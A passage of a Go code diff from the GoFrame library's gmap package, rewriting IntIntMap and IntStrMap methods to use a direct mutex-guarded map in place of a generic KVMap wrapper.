+	for k, v := range m.data {
+		delete(m.data, k)
+		newMap[k] = v
+		index++
+		if index == size {
+			break
+		}
+	}
+	return newMap
+}
+
+// doSetWithLockCheck checks whether value of the key exists with mutex.Lock,
+// if not exists, set value to the map with given `key`,
+// or else just return the existing value.
+//
+// It returns value with given `key`.
+func (m *IntIntMap) doSetWithLockCheck(key int, value int) int {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.data == nil {
+		m.data = make(map[int]int)
+	}
+	if v, ok := m.data[key]; ok {
+		return v
+	}
+	m.data[key] = value
+	return value
 }
 
 // GetOrSet returns the value by key,
 // or sets value with given `value` if it does not exist and then returns this value.
 func (m *IntIntMap) GetOrSet(key int, value int) int {
-	m.lazyInit()
-	return m.KVMap.GetOrSet(key, value)
+	if v, ok := m.Search(key); !ok {
+		return m.doSetWithLockCheck(key, value)
+	} else {
+		return v
+	}
 }
 
 // GetOrSetFunc returns the value by key,
 // or sets value with returned value of callback function `f` if it does not exist and returns this value.
 func (m *IntIntMap) GetOrSetFunc(key int, f func() int) int {
-	m.lazyInit()
-	return m.KVMap.GetOrSetFunc(key, f)
+	if v, ok := m.Search(key); !ok {
+		return m.doSetWithLockCheck(key, f())
+	} else {
+		return v
+	}
 }
 
 // GetOrSetFuncLock returns the value by key,
@@ -139,22 +229,41 @@ func (m *IntIntMap) GetOrSetFunc(key int, f func() int) int {
 // GetOrSetFuncLock differs with GetOrSetFunc function is that it executes function `f`
 // with mutex.Lock of the hash map.
 func (m *IntIntMap) GetOrSetFuncLock(key int, f func() int) int {
-	m.lazyInit()
-	return m.KVMap.GetOrSetFuncLock(key, f)
+	if v, ok := m.Search(key); !ok {
+		m.mu.Lock()
+		defer m.mu.Unlock()
+		if m.data == nil {
+			m.data = make(map[int]int)
+		}
+		if v, ok = m.data[key]; ok {
+			return v
+		}
+		v = f()
+		m.data[key] = v
+		return v
+	} else {
+		return v
+	}
 }
 
 // SetIfNotExist sets `value` to the map if the `key` does not exist, and then returns true.
 // It returns false if `key` exists, and `value` would be ignored.
 func (m *IntIntMap) SetIfNotExist(key int, value int) bool {
-	m.lazyInit()
-	return m.KVMap.SetIfNotExist(key, value)
+	if !m.Contains(key) {
+		m.doSetWithLockCheck(key, value)
+		return true
+	}
+	return false
 }
 
 // SetIfNotExistFunc sets value with return value of callback function `f`, and then returns true.
 // It returns false if `key` exists, and `value` would be ignored.
 func (m *IntIntMap) SetIfNotExistFunc(key int, f func() int) bool {
-	m.lazyInit()
-	return m.KVMap.SetIfNotExistFunc(key, f)
+	if !m.Contains(key) {
+		m.doSetWithLockCheck(key, f())
+		return true
+	}
+	return false
 }
 
 // SetIfNotExistFuncLock sets value with return value of callback function `f`, and then returns true.
@@ -163,76 +272,126 @@ func (m *IntIntMap) SetIfNotExistFunc(key int, f func() int) bool {
 // SetIfNotExistFuncLock differs with SetIfNotExistFunc function is that
 // it executes function `f` with mutex.Lock of the hash map.
 func (m *IntIntMap) SetIfNotExistFuncLock(key int, f func() int) bool {
-	m.lazyInit()
-	return m.KVMap.SetIfNotExistFuncLock(key, f)
+	if !m.Contains(key) {
+		m.mu.Lock()
+		defer m.mu.Unlock()
+		if m.data == nil {
+			m.data = make(map[int]int)
+		}
+		if _, ok := m.data[key]; !ok {
+			m.data[key] = f()
+		}
+		return true
+	}
+	return false
 }
 
 // Removes batch deletes values of the map by keys.
 func (m *IntIntMap) Removes(keys []int) {
-	m.lazyInit()
-	m.KVMap.Removes(keys)
+	m.mu.Lock()
+	if m.data != nil {
+		for _, key := range keys {
+			delete(m.data, key)
+		}
+	}
+	m.mu.Unlock()
 }
 
 // Remove deletes value from map by given `key`, and return this deleted value.
 func (m *IntIntMap) Remove(key int) (value int) {
-	m.lazyInit()
-	return m.KVMap.Remove(key)
+	m.mu.Lock()
+	if m.data != nil {
+		var ok bool
+		if value, ok = m.data[key]; ok {
+			delete(m.data, key)
+		}
+	}
+	m.mu.Unlock()
+	return
 }
 
 // Keys returns all keys of the map as a slice.
 func (m *IntIntMap) Keys() []int {
-	m.lazyInit()
-	return m.KVMap.Keys()
+	m.mu.RLock()
+	var (
+		keys  = make([]int, len(m.data))
+		index = 0
+	)
+	for key := range m.data {
+		keys[index] = key
+		index++
+	}
+	m.mu.RUnlock()
+	return keys
 }
 
 // Values returns all values of the map as a slice.
 func (m *IntIntMap) Values() []int {
-	m.lazyInit()
-	return m.KVMap.Values()
+	m.mu.RLock()
+	var (
+		values = make([]int, len(m.data))
+		index  = 0
+	)
+	for _, value := range m.data {
+		values[index] = value
+		index++
+	}
+	m.mu.RUnlock()
+	return values
 }
 
 // Contains checks whether a key exists.
 // It returns true if the `key` exists, or else false.
 func (m *IntIntMap) Contains(key int) bool {
-	m.lazyInit()
-	return m.KVMap.Contains(key)
+	var ok bool
+	m.mu.RLock()
+	if m.data != nil {
+		_, ok = m.data[key]
+	}
+	m.mu.RUnlock()
+	return ok
 }
 
 // Size returns the size of the map.
 func (m *IntIntMap) Size() int {
-	m.lazyInit()
-	return m.KVMap.Size()
+	m.mu.RLock()
+	length := len(m.data)
+	m.mu.RUnlock()
+	return length
 }
 
 // IsEmpty checks whether the map is empty.
 // It returns true if map is empty, or else false.
 func (m *IntIntMap) IsEmpty() bool {
-	m.lazyInit()
-	return m.KVMap.IsEmpty()
+	return m.Size() == 0
 }
 
 // Clear deletes all data of the map, it will remake a new underlying data map.
 func (m *IntIntMap) Clear() {
-	m.lazyInit()
-	m.KVMap.Clear()
+	m.mu.Lock()
+	m.data = make(map[int]int)
+	m.mu.Unlock()
 }
 
 // Replace the data of the map with given `data`.
 func (m *IntIntMap) Replace(data map[int]int) {
-	m.lazyInit()
-	m.KVMap.Replace(data)
+	m.mu.Lock()
+	m.data = data
+	m.mu.Unlock()
 }
 
 // LockFunc locks writing with given callback function `f` within RWMutex.Lock.
 func (m *IntIntMap) LockFunc(f func(m map[int]int)) {
-	m.lazyInit()
-	m.KVMap.LockFunc(f)
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	f(m.data)
 }
 
 // RLockFunc locks reading with given callback function `f` within RWMutex.RLock.
 func (m *IntIntMap) RLockFunc(f func(m map[int]int)) {
-	m.lazyInit()
-	m.KVMap.RLockFunc(f)
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	f(m.data)
 }
 
 // Flip exchanges key-value of the map to value-key.
@@ -249,8 +408,19 @@ func (m *IntIntMap) Flip() {
 // Merge merges two hash maps.
 // The `other` map will be merged into the map `m`.
 func (m *IntIntMap) Merge(other *IntIntMap) {
-	m.lazyInit()
-	m.KVMap.Merge(other.KVMap)
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.data == nil {
+		m.data = other.MapCopy()
+		return
+	}
+	if other != m {
+		other.mu.RLock()
+		defer other.mu.RUnlock()
+	}
+	for k, v := range other.data {
+		m.data[k] = v
+	}
 }
 
 // String returns the map as a string.
@@ -258,40 +428,81 @@ func (m *IntIntMap) String() string {
 	if m == nil {
 		return ""
 	}
-	m.lazyInit()
-	return m.KVMap.String()
+	b, _ := m.MarshalJSON()
+	return string(b)
 }
 
 // MarshalJSON implements the interface MarshalJSON for json.Marshal.
 func (m IntIntMap) MarshalJSON() ([]byte, error) {
-	m.lazyInit()
-	return m.KVMap.MarshalJSON()
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	return json.Marshal(m.data)
 }
 
 // UnmarshalJSON implements the interface UnmarshalJSON for json.Unmarshal.
 func (m *IntIntMap) UnmarshalJSON(b []byte) error {
-	m.lazyInit()
-	return m.KVMap.UnmarshalJSON(b)
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.data == nil {
+		m.data = make(map[int]int)
+	}
+	if err := json.UnmarshalUseNumber(b, &m.data); err != nil {
+		return err
+	}
+	return nil
 }
 
 // UnmarshalValue is an interface implement which sets any type of value for map.
-func (m *IntIntMap) UnmarshalValue(value any) (err error) {
-	m.lazyInit()
-	return m.KVMap.UnmarshalValue(value)
+func (m *IntIntMap) UnmarshalValue(value interface{}) (err error) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.data == nil {
+		m.data = make(map[int]int)
+	}
+	switch value.(type) {
+	case string, []byte:
+		return json.UnmarshalUseNumber(gconv.Bytes(value), &m.data)
+	default:
+		for k, v := range gconv.Map(value) {
+			m.data[gconv.Int(k)] = gconv.Int(v)
+		}
+	}
+	return
 }
 
 // DeepCopy implements interface for deep copy of current type.
-func (m *IntIntMap) DeepCopy() any {
-	m.lazyInit()
-	return &IntIntMap{
-		KVMap: m.KVMap.DeepCopy().(*KVMap[int, int]),
+func (m *IntIntMap) DeepCopy() interface{} {
+	if m == nil {
+		return nil
 	}
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	data := make(map[int]int, len(m.data))
+	for k, v := range m.data {
+		data[k] = v
+	}
+	return NewIntIntMapFrom(data, m.mu.IsSafe())
 }
 
 // IsSubOf checks whether the current map is a sub-map of `other`.
 func (m *IntIntMap) IsSubOf(other *IntIntMap) bool {
-	m.lazyInit()
-	return m.KVMap.IsSubOf(other.KVMap)
+	if m == other {
+		return true
+	}
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	other.mu.RLock()
+	defer other.mu.RUnlock()
+	for key, value := range m.data {
+		otherValue, ok := other.data[key]
+		if !ok {
+			return false
+		}
+		if otherValue != value {
+			return false
+		}
+	}
+	return true
 }
 
 // Diff compares current map `m` with map `other` and returns their different keys.
@@ -299,6 +510,22 @@ func (m *IntIntMap) IsSubOf(other *IntIntMap) bool {
 // The returned `removedKeys` are the keys that are in map `other` but not in map `m`.
 // The returned `updatedKeys` are the keys that are both in map `m` and `other` but their values and not equal (`!=`).
 func (m *IntIntMap) Diff(other *IntIntMap) (addedKeys, removedKeys, updatedKeys []int) {
-	m.lazyInit()
-	return m.KVMap.Diff(other.KVMap)
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	other.mu.RLock()
+	defer other.mu.RUnlock()
+
+	for key := range m.data {
+		if _, ok := other.data[key]; !ok {
+			removedKeys = append(removedKeys, key)
+		} else if m.data[key] != other.data[key] {
+			updatedKeys = append(updatedKeys, key)
+		}
+	}
+	for key := range other.data {
+		if _, ok := m.data[key]; !ok {
+			addedKeys = append(addedKeys, key)
+		}
+	}
+	return
 }

container/gmap/gmap_hash_int_str_map.go

@@ -1,21 +1,22 @@
 // Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
 //
 // This Source Code Form is subject to the terms of the MIT License.
-// If a copy of the MIT was not distributed with this file,
+// If a copy of the MIT was not distributed with gm file,
 // You can obtain one at https://github.com/gogf/gf.
 
 package gmap
 
 import (
-	"sync"
-
+	"github.com/gogf/gf/v2/internal/empty"
+	"github.com/gogf/gf/v2/internal/json"
+	"github.com/gogf/gf/v2/internal/rwmutex"
 	"github.com/gogf/gf/v2/util/gconv"
 )
 
 // IntStrMap implements map[int]string with RWMutex that has switch.
 type IntStrMap struct {
-	*KVMap[int, string]
-	once sync.Once
+	mu   rwmutex.RWMutex
+	data map[int]string
 }
 
 // NewIntStrMap returns an empty IntStrMap object.
@@ -23,7 +24,8 @@ type IntStrMap struct {
 // which is false in default.
 func NewIntStrMap(safe ...bool) *IntStrMap {
 	return &IntStrMap{
-		KVMap: NewKVMap[int, string](safe...),
+		mu:   rwmutex.Create(safe...),
+		data: make(map[int]string),
 	}
 }
 
@@ -32,109 +34,193 @@ func NewIntStrMap(safe ...bool) *IntStrMap {
 // there might be some concurrent-safe issues when changing the map outside.
 func NewIntStrMapFrom(data map[int]string, safe ...bool) *IntStrMap {
 	return &IntStrMap{
-		KVMap: NewKVMapFrom(data, safe...),
+		mu:   rwmutex.Create(safe...),
+		data: data,
 	}
 }
 
-// lazyInit lazily initializes the map.
-func (m *IntStrMap) lazyInit() {
-	m.once.Do(func() {
-		if m.KVMap == nil {
-			m.KVMap = NewKVMap[int, string](false)
-		}
-	})
-}
-
 // Iterator iterates the hash map readonly with custom callback function `f`.
 // If `f` returns true, then it continues iterating; or false to stop.
 func (m *IntStrMap) Iterator(f func(k int, v string) bool) {
-	m.lazyInit()
-	m.KVMap.Iterator(f)
+	for k, v := range m.Map() {
+		if !f(k, v) {
+			break
+		}
+	}
 }
 
 // Clone returns a new hash map with copy of current map data.
-func (m *IntStrMap) Clone(safe ...bool) *IntStrMap {
-	m.lazyInit()
-	return &IntStrMap{KVMap: m.KVMap.Clone(safe...)}
+func (m *IntStrMap) Clone() *IntStrMap {
+	return NewIntStrMapFrom(m.MapCopy(), m.mu.IsSafe())
 }
 
 // Map returns the underlying data map.
 // Note that, if it's in concurrent-safe usage, it returns a copy of underlying data,
 // or else a pointer to the underlying data.
 func (m *IntStrMap) Map() map[int]string {
-	m.lazyInit()
-	return m.KVMap.Map()
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	if !m.mu.IsSafe() {
+		return m.data
+	}
+	data := make(map[int]string, len(m.data))
+	for k, v := range m.data {
+		data[k] = v
+	}
+	return data
 }
 
-// MapStrAny returns a copy of the underlying data of the map as map[string]any.
-func (m *IntStrMap) MapStrAny() map[string]any {
-	m.lazyInit()
-	return m.KVMap.MapStrAny()
+// MapStrAny returns a copy of the underlying data of the map as map[string]interface{}.
+func (m *IntStrMap) MapStrAny() map[string]interface{} {
+	m.mu.RLock()
+	data := make(map[string]interface{}, len(m.data))
+	for k, v := range m.data {
+		data[gconv.String(k)] = v
+	}
+	m.mu.RUnlock()
+	return data
 }
 
 // MapCopy returns a copy of the underlying data of the hash map.
 func (m *IntStrMap) MapCopy() map[int]string {
-	m.lazyInit()
-	return m.KVMap.MapCopy()
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	data := make(map[int]string, len(m.data))
+	for k, v := range m.data {
+		data[k] = v
+	}
+	return data
 }
 
 // FilterEmpty deletes all key-value pair of which the value is empty.
 // Values like: 0, nil, false, "", len(slice/map/chan) == 0 are considered empty.
 func (m *IntStrMap) FilterEmpty() {
-	m.lazyInit()
-	m.KVMap.FilterEmpty()
+	m.mu.Lock()
+	for k, v := range m.data {
+		if empty.IsEmpty(v) {
+			delete(m.data, k)
+		}
+	}
+	m.mu.Unlock()
 }
 
 // Set sets key-value to the hash map.
 func (m *IntStrMap) Set(key int, val string) {
-	m.lazyInit()
-	m.KVMap.Set(key, val)
+	m.mu.Lock()
+	if m.data == nil {
+		m.data = make(map[int]string)
+	}
+	m.data[key] = val
+	m.mu.Unlock()
 }
 
 // Sets batch sets key-values to the hash map.
 func (m *IntStrMap) Sets(data map[int]string) {
-	m.lazyInit()
-	m.KVMap.Sets(data)
+	m.mu.Lock()
+	if m.data == nil {
+		m.data = data
+	} else {
+		for k, v := range data {
+			m.data[k] = v
+		}
+	}
+	m.mu.Unlock()
 }
 
 // Search searches the map with given `key`.
 // Second return parameter `found` is true if key was found, otherwise false.
 func (m *IntStrMap) Search(key int) (value string, found bool) {
-	m.lazyInit()
-	return m.KVMap.Search(key)
+	m.mu.RLock()
+	if m.data != nil {
+		value, found = m.data[key]
+	}
+	m.mu.RUnlock()
+	return
 }
 
 // Get returns the value by given `key`.
 func (m *IntStrMap) Get(key int) (value string) {
-	m.lazyInit()
-	return m.KVMap.Get(key)
+	m.mu.RLock()
+	if m.data != nil {
+		value = m.data[key]
+	}
+	m.mu.RUnlock()
+	return
 }
 
 // Pop retrieves and deletes an item from the map.
 func (m *IntStrMap) Pop() (key int, value string) {
-	m.lazyInit()
-	return m.KVMap.Pop()
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	for key, value = range m.data {
+		delete(m.data, key)
+		return
+	}
+	return
 }
 
 // Pops retrieves and deletes `size` items from the map.
 // It returns all items if size == -1.
 func (m *IntStrMap) Pops(size int) map[int]string {
-	m.lazyInit()
-	return m.KVMap.Pops(size)
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if size > len(m.data) || size == -1 {
+		size = len(m.data)
+	}
+	if size == 0 {
+		return nil
+	}
+	var (
+		index  = 0
+		newMap = make(map[int]string, size)
+	)
+	for k, v := range m.data {
+		delete(m.data, k)
+		newMap[k] = v
+		index++
+		if index == size {
+			break
+		}
+	}
+	return newMap
+}
+
+// doSetWithLockCheck checks whether value of the key exists with mutex.Lock,
+// if not exists, set value to the map with given `key`,
+// or else just return the existing value.
+//
+// It returns value with given `key`.
+func (m *IntStrMap) doSetWithLockCheck(key int, value string) string {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.data == nil {
+		m.data = make(map[int]string)
+	}
+	if v, ok := m.data[key]; ok {
+		return v
+	}
+	m.data[key] = value
+	return value
 }
 
 // GetOrSet returns the value by key,
 // or sets value with given `value` if it does not exist and then returns this value.
 func (m *IntStrMap) GetOrSet(key int, value string) string {
-	m.lazyInit()
-	return m.KVMap.GetOrSet(key, value)
+	if v, ok := m.Search(key); !ok {
+		return m.doSetWithLockCheck(key, value)
+	} else {
+		return v
+	}
 }
 
 // GetOrSetFunc returns the value by key,
 // or sets value with returned value of callback function `f` if it does not exist and returns this value.
 func (m *IntStrMap) GetOrSetFunc(key int, f func() string) string {
-	m.lazyInit()
-	return m.KVMap.GetOrSetFunc(key, f)
+	if v, ok := m.Search(key); !ok {
+		return m.doSetWithLockCheck(key, f())
+	} else {
+		return v
+	}
 }
 
 // GetOrSetFuncLock returns the value by key,
@@ -143,22 +229,41 @@ func (m *IntStrMap) GetOrSetFunc(key int, f func() string) string {
 // GetOrSetFuncLock differs with GetOrSetFunc function is that it executes function `f`
 // with mutex.Lock of the hash map.
 func (m *IntStrMap) GetOrSetFuncLock(key int, f func() string) string {
-	m.lazyInit()
-	return m.KVMap.GetOrSetFuncLock(key, f)
+	if v, ok := m.Search(key); !ok {
+		m.mu.Lock()
+		defer m.mu.Unlock()
+		if m.data == nil {
+			m.data = make(map[int]string)
+		}
+		if v, ok = m.data[key]; ok {
+			return v
+		}
+		v = f()
+		m.data[key] = v
+		return v
+	} else {
+		return v
+	}
 }
 
 // SetIfNotExist sets `value` to the map if the `key` does not exist, and then returns true.
 // It returns false if `key` exists, and `value` would be ignored.
 func (m *IntStrMap) SetIfNotExist(key int, value string) bool {
-	m.lazyInit()
-	return m.KVMap.SetIfNotExist(key, value)
+	if !m.Contains(key) {
+		m.doSetWithLockCheck(key, value)
+		return true
+	}
+	return false
 }
 
 // SetIfNotExistFunc sets value with return value of callback function `f`, and then returns true.
 // It returns false if `key` exists, and `value` would be ignored.
 func (m *IntStrMap) SetIfNotExistFunc(key int, f func() string) bool {
-	m.lazyInit()
-	return m.KVMap.SetIfNotExistFunc(key, f)
+	if !m.Contains(key) {
+		m.doSetWithLockCheck(key, f())
+		return true
+	}
+	return false
 }
 
 // SetIfNotExistFuncLock sets value with return value of callback function `f`, and then returns true.
@@ -167,76 +272,126 @@ func (m *IntStrMap) SetIfNotExistFunc(key int, f func() string) bool {
 // SetIfNotExistFuncLock differs with SetIfNotExistFunc function is that
 // it executes function `f` with mutex.Lock of the hash map.
 func (m *IntStrMap) SetIfNotExistFuncLock(key int, f func() string) bool {
-	m.lazyInit()
-	return m.KVMap.SetIfNotExistFuncLock(key, f)
+	if !m.Contains(key) {
+		m.mu.Lock()
+		defer m.mu.Unlock()
+		if m.data == nil {
+			m.data = make(map[int]string)
+		}
+		if _, ok := m.data[key]; !ok {
+			m.data[key] = f()
+		}
+		return true
+	}
+	return false
 }
 
 // Removes batch deletes values of the map by keys.
 func (m *IntStrMap) Removes(keys []int) {
-	m.lazyInit()
-	m.KVMap.Removes(keys)
+	m.mu.Lock()
+	if m.data != nil {
+		for _, key := range keys {
+			delete(m.data, key)
+		}
+	}
+	m.mu.Unlock()
 }
 
 // Remove deletes value from map by given `key`, and return this deleted value.
 func (m *IntStrMap) Remove(key int) (value string) {
-	m.lazyInit()
-	return m.KVMap.Remove(key)
+	m.mu.Lock()
+	if m.data != nil {
+		var ok bool
+		if value, ok = m.data[key]; ok {
+			delete(m.data, key)
+		}
+	}
+	m.mu.Unlock()
+	return
 }
 
 // Keys returns all keys of the map as a slice.
 func (m *IntStrMap) Keys() []int {
-	m.lazyInit()
-	return m.KVMap.Keys()
+	m.mu.RLock()
+	var (
+		keys  = make([]int, len(m.data))
+		index = 0
+	)
+	for key := range m.data {
+		keys[index] = key
+		index++
+	}
+	m.mu.RUnlock()
+	return keys
 }
 
 // Values returns all values of the map as a slice.
 func (m *IntStrMap) Values() []string {
-	m.lazyInit()
-	return m.KVMap.Values()
+	m.mu.RLock()
+	var (
+		values = make([]string, len(m.data))
+		index  = 0
+	)
+	for _, value := range m.data {
+		values[index] = value
+		index++
+	}
+	m.mu.RUnlock()
+	return values
 }
 
 // Contains checks whether a key exists.
 // It returns true if the `key` exists, or else false.
 func (m *IntStrMap) Contains(key int) bool {
-	m.lazyInit()
-	return m.KVMap.Contains(key)
+	var ok bool
+	m.mu.RLock()
+	if m.data != nil {
+		_, ok = m.data[key]
+	}
+	m.mu.RUnlock()
+	return ok
 }
 
 // Size returns the size of the map.
 func (m *IntStrMap) Size() int {
-	m.lazyInit()
-	return m.KVMap.Size()
+	m.mu.RLock()
+	length := len(m.data)
+	m.mu.RUnlock()
+	return length
 }
 
 // IsEmpty checks whether the map is empty.
 // It returns true if map is empty, or else false.
 func (m *IntStrMap) IsEmpty() bool {
-	m.lazyInit()
-	return m.KVMap.IsEmpty()
+	return m.Size() == 0
 }
 
 // Clear deletes all data of the map, it will remake a new underlying data map.
 func (m *IntStrMap) Clear() {
-	m.lazyInit()
-	m.KVMap.Clear()
+	m.mu.Lock()
+	m.data = make(map[int]string)
+	m.mu.Unlock()
 }
 
 // Replace the data of the map with given `data`.
 func (m *IntStrMap) Replace(data map[int]string) {
-	m.lazyInit()
-	m.KVMap.Replace(data)
+	m.mu.Lock()
+	m.data = data
+	m.mu.Unlock()
 }
 
 // LockFunc locks writing with given callback function `f` within RWMutex.Lock.
 func (m *IntStrMap) LockFunc(f func(m map[int]string)) {
-	m.lazyInit()
-	m.KVMap.LockFunc(f)
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	f(m.data)
 }
 
 // RLockFunc locks reading with given callback function `f` within RWMutex.RLock.
 func (m *IntStrMap) RLockFunc(f func(m map[int]string)) {
-	m.lazyInit()
-	m.KVMap.RLockFunc(f)
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	f(m.data)
 }
 
 // Flip exchanges key-value of the map to value-key.
@@ -253,8 +408,19 @@ func (m *IntStrMap) Flip() {
 // Merge merges two hash maps.
 // The `other` map will be merged into the map `m`.
 func (m *IntStrMap) Merge(other *IntStrMap) {
-	m.lazyInit()
-	m.KVMap.Merge(other.KVMap)
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.data == nil {
+		m.data = other.MapCopy()
+		return
+	}
+	if other != m {
+		other.mu.RLock()
+		defer other.mu.RUnlock()
+	}
+	for k, v := range other.data {
+		m.data[k] = v
+	}
 }
 
 // String returns the map as a string.
@@ -262,40 +428,81 @@ func (m *IntStrMap) String() string {
 	if m == nil {
 		return ""
 	}
-	m.lazyInit()
-	return m.KVMap.String()
+	b, _ := m.MarshalJSON()
+	return string(b)
 }
 
 // MarshalJSON implements the interface MarshalJSON for json.Marshal.
 func (m IntStrMap) MarshalJSON() ([]byte, error) {
-	m.lazyInit()
-	return m.KVMap.MarshalJSON()
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	return json.Marshal(m.data)
 }
 
 // UnmarshalJSON implements the interface UnmarshalJSON for json.Unmarshal.
 func (m *IntStrMap) UnmarshalJSON(b []byte) error {
-	m.lazyInit()
-	return m.KVMap.UnmarshalJSON(b)
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.data == nil {
+		m.data = make(map[int]string)
+	}
+	if err := json.UnmarshalUseNumber(b, &m.data); err != nil {
+		return err
+	}
+	return nil
 }
 
 // UnmarshalValue is an interface implement which sets any type of value for map.
-func (m *IntStrMap) UnmarshalValue(value any) (err error) {
-	m.lazyInit()
-	return m.KVMap.UnmarshalValue(value)
+func (m *IntStrMap) UnmarshalValue(value interface{}) (err error) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.data == nil {
+		m.data = make(map[int]string)
+	}
+	switch value.(type) {
+	case string, []byte:
+		return json.UnmarshalUseNumber(gconv.Bytes(value), &m.data)
+	default:
+		for k, v := range gconv.Map(value) {
+			m.data[gconv.Int(k)] = gconv.String(v)
+		}
+	}
+	return
 }
 
 // DeepCopy implements interface for deep copy of current type.
-func (m *IntStrMap) DeepCopy() any {
-	m.lazyInit()
-	return &IntStrMap{
-		KVMap: m.KVMap.DeepCopy().(*KVMap[int, string]),
+func (m *IntStrMap) DeepCopy() interface{} {
+	if m == nil {
+		return nil
 	}
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	data := make(map[int]string, len(m.data))
+	for k, v := range m.data {
+		data[k] = v
+	}
+	return NewIntStrMapFrom(data, m.mu.IsSafe())
 }
 
 // IsSubOf checks whether the current map is a sub-map of `other`.
 func (m *IntStrMap) IsSubOf(other *IntStrMap) bool {
-	m.lazyInit()
-	return m.KVMap.IsSubOf(other.KVMap)
+	if m == other {
+		return true
+	}
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	other.mu.RLock()
+	defer other.mu.RUnlock()
+	for key, value := range m.data {
+		otherValue, ok := other.data[key]
+		if !ok {
+			return false
+		}
+		if otherValue != value {
+			return false
+		}
+	}
+	return true
 }
 
 // Diff compares current map `m` with map `other` and returns their different keys.
@@ -303,6 +510,22 @@ func (m *IntStrMap) IsSubOf(other *IntStrMap) bool {
 // The returned `removedKeys` are the keys that are in map `other` but not in map `m`.
 // The returned `updatedKeys` are the keys that are both in map `m` and `other` but their values and not equal (`!=`).
 func (m *IntStrMap) Diff(other *IntStrMap) (addedKeys, removedKeys, updatedKeys []int) {
-	m.lazyInit()
-	return m.KVMap.Diff(other.KVMap)
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	other.mu.RLock()
+	defer other.mu.RUnlock()
+
+	for key := range m.data {
+		if _, ok := other.data[key]; !ok {
+			removedKeys = append(removedKeys, key)
+		} else if m.data[key] != other.data[key] {
+			updatedKeys = append(updatedKeys, key)
+		}
+	}
+	for key := range other.data {
+		if _, ok := m.data[key]; !ok {
+			addedKeys = append(addedKeys, key)
+		}
+	}
+	return
 }